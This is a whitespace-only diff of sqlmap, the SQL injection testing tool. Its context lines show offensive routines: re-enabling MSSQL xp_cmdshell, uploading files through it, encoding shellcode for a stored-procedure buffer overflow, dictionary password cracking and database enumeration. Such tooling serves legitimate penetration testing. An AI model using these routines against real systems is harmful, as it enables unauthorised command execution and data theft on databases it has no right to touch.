logger.debug(debugMsg)
|
||||||
|
|
||||||
if mode == 1:
|
if mode == 1:
|
||||||
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
cmd = "EXEC master..sp_addextendedproc 'xp_cmdshell', "
|
||||||
cmd += "@dllname='xplog70.dll'"
|
cmd += "@dllname='xplog70.dll'"
|
||||||
else:
|
else:
|
||||||
cmd = "EXEC master..sp_dropextendedproc 'xp_cmdshell'"
|
cmd = "EXEC master..sp_dropextendedproc 'xp_cmdshell'"
|
||||||
|
@ -134,7 +134,7 @@ class xp_cmdshell:
|
||||||
|
|
||||||
def xpCmdshellInit(self):
|
def xpCmdshellInit(self):
|
||||||
if kb.xpCmdshellAvailable is False:
|
if kb.xpCmdshellAvailable is False:
|
||||||
infoMsg = "checking if xp_cmdshell extended procedure is "
|
infoMsg = "checking if xp_cmdshell extended procedure is "
|
||||||
infoMsg += "available, please wait.."
|
infoMsg += "available, please wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -145,10 +145,10 @@ class xp_cmdshell:
|
||||||
kb.xpCmdshellAvailable = True
|
kb.xpCmdshellAvailable = True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
message = "xp_cmdshell extended procedure does not seem to "
|
message = "xp_cmdshell extended procedure does not seem to "
|
||||||
message += "be available. Do you want sqlmap to try to "
|
message += "be available. Do you want sqlmap to try to "
|
||||||
message += "re-enable it? [Y/n] "
|
message += "re-enable it? [Y/n] "
|
||||||
choice = readInput(message, default="Y")
|
choice = readInput(message, default="Y")
|
||||||
|
|
||||||
if not choice or choice in ("y", "Y"):
|
if not choice or choice in ("y", "Y"):
|
||||||
self.__xpCmdshellConfigure(1)
|
self.__xpCmdshellConfigure(1)
|
||||||
|
@ -169,7 +169,7 @@ class xp_cmdshell:
|
||||||
kb.xpCmdshellAvailable = True
|
kb.xpCmdshellAvailable = True
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "xp_cmdshell creation failed, probably "
|
warnMsg = "xp_cmdshell creation failed, probably "
|
||||||
warnMsg += "because sp_OACreate is disabled"
|
warnMsg += "because sp_OACreate is disabled"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
|
@ -95,9 +95,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
if lastChar > 0 and length > ( lastChar - firstChar ):
|
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||||
length = ( lastChar - firstChar )
|
length = ( lastChar - firstChar )
|
||||||
|
|
||||||
showEta = conf.eta and isinstance(length, int)
|
showEta = conf.eta and isinstance(length, int)
|
||||||
numThreads = min(conf.threads, length)
|
numThreads = min(conf.threads, length)
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
progress = ProgressBar(maxValue=length)
|
progress = ProgressBar(maxValue=length)
|
||||||
|
@ -250,7 +250,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
conf.timeSec += 1
|
conf.timeSec += 1
|
||||||
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
||||||
warnMsg += "(due to invalid char)"
|
warnMsg += "(due to invalid char)"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -294,11 +294,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||||
|
|
||||||
# Go multi-threading (--threads > 1)
|
# Go multi-threading (--threads > 1)
|
||||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||||
value = [ None ] * length
|
value = [ None ] * length
|
||||||
index = [ firstChar ] # As list for python nested function scoping
|
index = [ firstChar ] # As list for python nested function scoping
|
||||||
idxlock = threading.Lock()
|
idxlock = threading.Lock()
|
||||||
iolock = threading.Lock()
|
iolock = threading.Lock()
|
||||||
valuelock = threading.Lock()
|
valuelock = threading.Lock()
|
||||||
kb.threadContinue = True
|
kb.threadContinue = True
|
||||||
|
|
||||||
def downloadThread():
|
def downloadThread():
|
||||||
|
|
|
@ -304,7 +304,7 @@ def errorUse(expression, expected=None, resumeValue=True, dump=False):
|
||||||
try:
|
try:
|
||||||
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
||||||
kb.suppressResumeInfo = True
|
kb.suppressResumeInfo = True
|
||||||
infoMsg = "suppressing resume console info because of "
|
infoMsg = "suppressing resume console info because of "
|
||||||
infoMsg += "large number of rows (possible slowdown)"
|
infoMsg += "large number of rows (possible slowdown)"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
|
@ -249,7 +249,7 @@ def unionUse(expression, unpack=True, dump=False):
|
||||||
try:
|
try:
|
||||||
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
|
||||||
kb.suppressResumeInfo = True
|
kb.suppressResumeInfo = True
|
||||||
infoMsg = "suppressing resume console info because of "
|
infoMsg = "suppressing resume console info because of "
|
||||||
infoMsg += "large number of rows (possible slowdown)"
|
infoMsg += "large number of rows (possible slowdown)"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
|
@ -94,7 +94,7 @@ class Google:
|
||||||
if not googleDork:
|
if not googleDork:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
url = "http://www.google.com/search?"
|
url = "http://www.google.com/search?"
|
||||||
url += "q=%s&" % urlencode(googleDork, convall=True)
|
url += "q=%s&" % urlencode(googleDork, convall=True)
|
||||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||||
url += "&start=%d" % ((gpage-1) * 100)
|
url += "&start=%d" % ((gpage-1) * 100)
|
||||||
|
@ -124,7 +124,7 @@ class Google:
|
||||||
try:
|
try:
|
||||||
page = e.read()
|
page = e.read()
|
||||||
except socket.timeout:
|
except socket.timeout:
|
||||||
warnMsg = "connection timed out while trying "
|
warnMsg = "connection timed out while trying "
|
||||||
warnMsg += "to get error page information (%d)" % e.code
|
warnMsg += "to get error page information (%d)" % e.code
|
||||||
logger.critical(warnMsg)
|
logger.critical(warnMsg)
|
||||||
return None
|
return None
|
||||||
|
@ -135,8 +135,8 @@ class Google:
|
||||||
self.__matches = self.__parsePage(page)
|
self.__matches = self.__parsePage(page)
|
||||||
|
|
||||||
if not self.__matches and "detected unusual traffic" in page:
|
if not self.__matches and "detected unusual traffic" in page:
|
||||||
warnMsg = "Google has detected 'unusual' traffic from "
|
warnMsg = "Google has detected 'unusual' traffic from "
|
||||||
warnMsg += "this computer disabling further searches"
|
warnMsg += "this computer disabling further searches"
|
||||||
raise sqlmapGenericException, warnMsg
|
raise sqlmapGenericException, warnMsg
|
||||||
|
|
||||||
return self.__matches
|
return self.__matches
|
||||||
|
|
|
@ -507,12 +507,12 @@ def dictionaryAttack(attack_dict):
|
||||||
clearConsoleLine()
|
clearConsoleLine()
|
||||||
|
|
||||||
if len(hash_regexes) == 0:
|
if len(hash_regexes) == 0:
|
||||||
warnMsg = "unknown hash Format. "
|
warnMsg = "unknown hash Format. "
|
||||||
warnMsg += "Please report by e-mail to %s." % ML
|
warnMsg += "Please report by e-mail to %s." % ML
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if len(results) == 0:
|
if len(results) == 0:
|
||||||
warnMsg = "no clear password(s) found"
|
warnMsg = "no clear password(s) found"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return results
|
return results
|
||||||
|
|
|
@ -36,13 +36,13 @@ def queryOutputLength(expression, payload):
|
||||||
Returns the query output length.
|
Returns the query output length.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
||||||
select = re.search("\ASELECT\s+", expression, re.I)
|
select = re.search("\ASELECT\s+", expression, re.I)
|
||||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||||
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
selectFromExpr = re.search("\ASELECT\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
|
selectExpr = re.search("\ASELECT\s+(.+)$", expression, re.I)
|
||||||
miscExpr = re.search("\A(.+)", expression, re.I)
|
miscExpr = re.search("\A(.+)", expression, re.I)
|
||||||
|
|
||||||
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
|
if selectTopExpr or selectDistinctExpr or selectFromExpr or selectExpr:
|
||||||
if selectTopExpr:
|
if selectTopExpr:
|
||||||
|
@ -119,7 +119,7 @@ def resume(expression, payload):
|
||||||
if resumedValue[-1] == "]":
|
if resumedValue[-1] == "]":
|
||||||
resumedValue = resumedValue[:-1]
|
resumedValue = resumedValue[:-1]
|
||||||
|
|
||||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||||
logValue = getCompiledRegex("%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), re.S).findall(resumedValue)
|
logValue = getCompiledRegex("%s(.*?)%s" % (DUMP_START_MARKER, DUMP_STOP_MARKER), re.S).findall(resumedValue)
|
||||||
|
|
||||||
if logValue:
|
if logValue:
|
||||||
|
@ -160,7 +160,7 @@ def resume(expression, payload):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
if len(resumedValue) == int(length):
|
if len(resumedValue) == int(length):
|
||||||
infoMsg = "read from file '%s': " % conf.sessionFile
|
infoMsg = "read from file '%s': " % conf.sessionFile
|
||||||
infoMsg += "%s" % resumedValue.split("\n")[0]
|
infoMsg += "%s" % resumedValue.split("\n")[0]
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -168,7 +168,7 @@ def resume(expression, payload):
|
||||||
|
|
||||||
return resumedValue
|
return resumedValue
|
||||||
elif len(resumedValue) < int(length):
|
elif len(resumedValue) < int(length):
|
||||||
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
infoMsg = "resumed from file '%s': " % conf.sessionFile
|
||||||
infoMsg += "%s..." % resumedValue.split("\n")[0]
|
infoMsg += "%s..." % resumedValue.split("\n")[0]
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -181,7 +181,7 @@ def resume(expression, payload):
|
||||||
|
|
||||||
missingCharsLength = int(length) - len(resumedValue)
|
missingCharsLength = int(length) - len(resumedValue)
|
||||||
|
|
||||||
infoMsg = "retrieving pending %d query " % missingCharsLength
|
infoMsg = "retrieving pending %d query " % missingCharsLength
|
||||||
infoMsg += "output characters"
|
infoMsg += "output characters"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -192,7 +192,7 @@ def resume(expression, payload):
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
if len(finalValue) != ( int(length) - len(resumedValue) ):
|
if len(finalValue) != ( int(length) - len(resumedValue) ):
|
||||||
warnMsg = "the total length of the query is not "
|
warnMsg = "the total length of the query is not "
|
||||||
warnMsg += "right, sqlmap is going to retrieve the "
|
warnMsg += "right, sqlmap is going to retrieve the "
|
||||||
warnMsg += "query value from the beginning now"
|
warnMsg += "query value from the beginning now"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
|
@ -34,7 +34,7 @@ class Connector(GenericConnector):
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
if not IS_WIN:
|
if not IS_WIN:
|
||||||
errMsg = "currently, direct connection to Microsoft Access database(s) "
|
errMsg = "currently, direct connection to Microsoft Access database(s) "
|
||||||
errMsg += "is restricted to Windows platforms"
|
errMsg += "is restricted to Windows platforms"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
|
|
|
@ -114,7 +114,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -126,14 +126,14 @@ class Fingerprint(GenericFingerprint):
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += DBMS.ACCESS
|
value += DBMS.ACCESS
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms() + " (%s)" % (self.__sandBoxCheck())
|
actVer = Format.getDbms() + " (%s)" % (self.__sandBoxCheck())
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
|
|
|
@ -24,11 +24,11 @@ class Takeover(GenericTakeover):
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "on Microsoft Access it is not possible to establish an "
|
errMsg = "on Microsoft Access it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "on Microsoft Access it is not possible to establish an "
|
errMsg = "on Microsoft Access it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -33,7 +33,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.FIREBIRD)
|
GenericFingerprint.__init__(self, DBMS.FIREBIRD)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -52,9 +52,9 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += actVer
|
value += actVer
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms() + " (%s)" % (self.__dialectCheck())
|
actVer = Format.getDbms() + " (%s)" % (self.__dialectCheck())
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
|
@ -24,11 +24,11 @@ class Takeover(GenericTakeover):
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "on Firebird it is not possible to establish an "
|
errMsg = "on Firebird it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "on Firebird it is not possible to establish an "
|
errMsg = "on Firebird it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -16,6 +16,6 @@ class Connector(GenericConnector):
|
||||||
GenericConnector.__init__(self)
|
GenericConnector.__init__(self)
|
||||||
|
|
||||||
def connect(self):
|
def connect(self):
|
||||||
errMsg = "on SAP MaxDB it is not possible to establish a "
|
errMsg = "on SAP MaxDB it is not possible to establish a "
|
||||||
errMsg += "direct connection"
|
errMsg += "direct connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -34,10 +34,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
|
infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = agent.prefixQuery("/* NoValue */")
|
query = agent.prefixQuery("/* NoValue */")
|
||||||
query = agent.suffixQuery(query)
|
query = agent.suffixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "unable to perform %s version check" % DBMS.MAXDB
|
warnMsg = "unable to perform %s version check" % DBMS.MAXDB
|
||||||
|
@ -65,7 +65,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = Format.getOs("web server", kb.headersFp)
|
wsOsFp = Format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
|
@ -77,15 +77,15 @@ class Fingerprint(GenericFingerprint):
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += DBMS.MAXDB
|
value += DBMS.MAXDB
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = Format.getDbms() + " (%s)" % self.__versionCheck()
|
actVer = Format.getDbms() + " (%s)" % self.__versionCheck()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
|
|
|
@ -24,11 +24,11 @@ class Takeover(GenericTakeover):
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
errMsg = "on SAP MaxDB it is not possible to establish an "
|
errMsg = "on SAP MaxDB it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
errMsg = "on SAP MaxDB it is not possible to establish an "
|
errMsg = "on SAP MaxDB it is not possible to establish an "
|
||||||
errMsg += "out-of-band connection"
|
errMsg += "out-of-band connection"
|
||||||
raise sqlmapUnsupportedFeatureException, errMsg
|
raise sqlmapUnsupportedFeatureException, errMsg
|
||||||
|
|
|
@ -104,7 +104,7 @@ class Enumeration(GenericEnumeration):
|
||||||
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "fetching number of tables for "
|
infoMsg = "fetching number of tables for "
|
||||||
infoMsg += "database '%s'" % db
|
infoMsg += "database '%s'" % db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -112,7 +112,7 @@ class Enumeration(GenericEnumeration):
|
||||||
count = inject.getValue(query, inband=False, error=False, charsetType=2)
|
count = inject.getValue(query, inband=False, error=False, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
warnMsg = "unable to retrieve the number of "
|
warnMsg = "unable to retrieve the number of "
|
||||||
warnMsg += "tables for database '%s'" % db
|
warnMsg += "tables for database '%s'" % db
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -128,7 +128,7 @@ class Enumeration(GenericEnumeration):
|
||||||
if tables:
|
if tables:
|
||||||
kb.data.cachedTables[db] = tables
|
kb.data.cachedTables[db] = tables
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve the tables "
|
warnMsg = "unable to retrieve the tables "
|
||||||
warnMsg += "for database '%s'" % db
|
warnMsg += "for database '%s'" % db
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
|
@ -31,7 +31,7 @@ class Filesystem(GenericFilesystem):
|
||||||
GenericFilesystem.__init__(self)
|
GenericFilesystem.__init__(self)
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
errMsg = "Microsoft SQL Server does not support file reading "
|
errMsg = "Microsoft SQL Server does not support file reading "
|
||||||
errMsg += "with UNION query SQL injection technique"
|
errMsg += "with UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
@ -98,10 +98,10 @@ class Filesystem(GenericFilesystem):
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
result = []
|
result = []
|
||||||
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2)
|
||||||
|
|
||||||
if not isNumPosStrValue(count):
|
if not isNumPosStrValue(count):
|
||||||
errMsg = "unable to retrieve the content of the "
|
errMsg = "unable to retrieve the content of the "
|
||||||
errMsg += "file '%s'" % rFile
|
errMsg += "file '%s'" % rFile
|
||||||
raise sqlmapNoneDataException(errMsg)
|
raise sqlmapNoneDataException(errMsg)
|
||||||
|
|
||||||
|
@ -116,7 +116,7 @@ class Filesystem(GenericFilesystem):
|
||||||
return result
|
return result
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
errMsg = "Microsoft SQL Server does not support file upload with "
|
errMsg = "Microsoft SQL Server does not support file upload with "
|
||||||
errMsg += "UNION query SQL injection technique"
|
errMsg += "UNION query SQL injection technique"
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
|
@ -128,22 +128,22 @@ class Filesystem(GenericFilesystem):
|
||||||
|
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
debugMsg = "going to use xp_cmdshell extended procedure to write "
|
||||||
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
debugMsg += "the %s file content to file '%s'" % (fileType, dFile)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
debugSize = 0xFF00
|
debugSize = 0xFF00
|
||||||
tmpPath = posixToNtSlashes(conf.tmpPath)
|
tmpPath = posixToNtSlashes(conf.tmpPath)
|
||||||
dFile = posixToNtSlashes(dFile)
|
dFile = posixToNtSlashes(dFile)
|
||||||
dFileName = ntpath.basename(dFile)
|
dFileName = ntpath.basename(dFile)
|
||||||
wFileSize = os.path.getsize(wFile)
|
wFileSize = os.path.getsize(wFile)
|
||||||
wFilePointer = codecs.open(wFile, "rb")
|
wFilePointer = codecs.open(wFile, "rb")
|
||||||
wFileContent = wFilePointer.read()
|
wFileContent = wFilePointer.read()
|
||||||
wFilePointer.close()
|
wFilePointer.close()
|
||||||
|
|
||||||
if wFileSize < debugSize:
|
if wFileSize < debugSize:
|
||||||
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||||
|
|
||||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||||
|
|
||||||
|
@ -153,7 +153,7 @@ class Filesystem(GenericFilesystem):
|
||||||
self.execCmd(complComm)
|
self.execCmd(complComm)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
infoMsg = "the %s file is bigger than %d " % (fileType, debugSize)
|
||||||
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
infoMsg += "bytes. sqlmap will split it into chunks, upload "
|
||||||
infoMsg += "them and recreate the original file out of the "
|
infoMsg += "them and recreate the original file out of the "
|
||||||
infoMsg += "binary chunks server-side, please wait.."
|
infoMsg += "binary chunks server-side, please wait.."
|
||||||
|
@ -163,7 +163,7 @@ class Filesystem(GenericFilesystem):
|
||||||
|
|
||||||
for i in range(0, wFileSize, debugSize):
|
for i in range(0, wFileSize, debugSize):
|
||||||
wFileChunk = wFileContent[i:i + debugSize]
|
wFileChunk = wFileContent[i:i + debugSize]
|
||||||
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||||
|
|
||||||
if i == 0:
|
if i == 0:
|
||||||
infoMsg = "renaming chunk "
|
infoMsg = "renaming chunk "
|
||||||
|
|
|
@ -132,7 +132,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not detailed:
|
if not detailed:
|
||||||
return
|
return
|
||||||
|
|
||||||
infoMsg = "fingerprinting the back-end DBMS operating system "
|
infoMsg = "fingerprinting the back-end DBMS operating system "
|
||||||
infoMsg += "version and service pack"
|
infoMsg += "version and service pack"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|
|
@ -53,7 +53,7 @@ class Takeover(GenericTakeover):
|
||||||
|
|
||||||
for versionSp, data in returns.items():
|
for versionSp, data in returns.items():
|
||||||
version, sp = versionSp.split("-")
|
version, sp = versionSp.split("-")
|
||||||
sp = int(sp)
|
sp = int(sp)
|
||||||
|
|
||||||
if kb.osVersion == version and kb.osSP == sp:
|
if kb.osVersion == version and kb.osSP == sp:
|
||||||
addrs = data
|
addrs = data
|
||||||
|
@ -61,14 +61,14 @@ class Takeover(GenericTakeover):
|
||||||
break
|
break
|
||||||
|
|
||||||
if addrs is None:
|
if addrs is None:
|
||||||
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
errMsg = "sqlmap can not exploit the stored procedure buffer "
|
||||||
errMsg += "overflow because it does not have a valid return "
|
errMsg += "overflow because it does not have a valid return "
|
||||||
errMsg += "code for the underlying operating system (Windows "
|
errMsg += "code for the underlying operating system (Windows "
|
||||||
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP)
|
||||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||||
|
|
||||||
shellcodeChar = ""
|
shellcodeChar = ""
|
||||||
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||||
|
|
||||||
for hexPair in range(0, len(hexStr), 2):
|
for hexPair in range(0, len(hexStr), 2):
|
||||||
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||||
|
|
|
@ -25,12 +25,12 @@ class MySQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||||
self.sysUdfs = {
|
self.sysUdfs = {
|
||||||
# UDF name: UDF return data-type
|
# UDF name: UDF return data-type
|
||||||
"sys_exec": { "return": "int" },
|
"sys_exec": { "return": "int" },
|
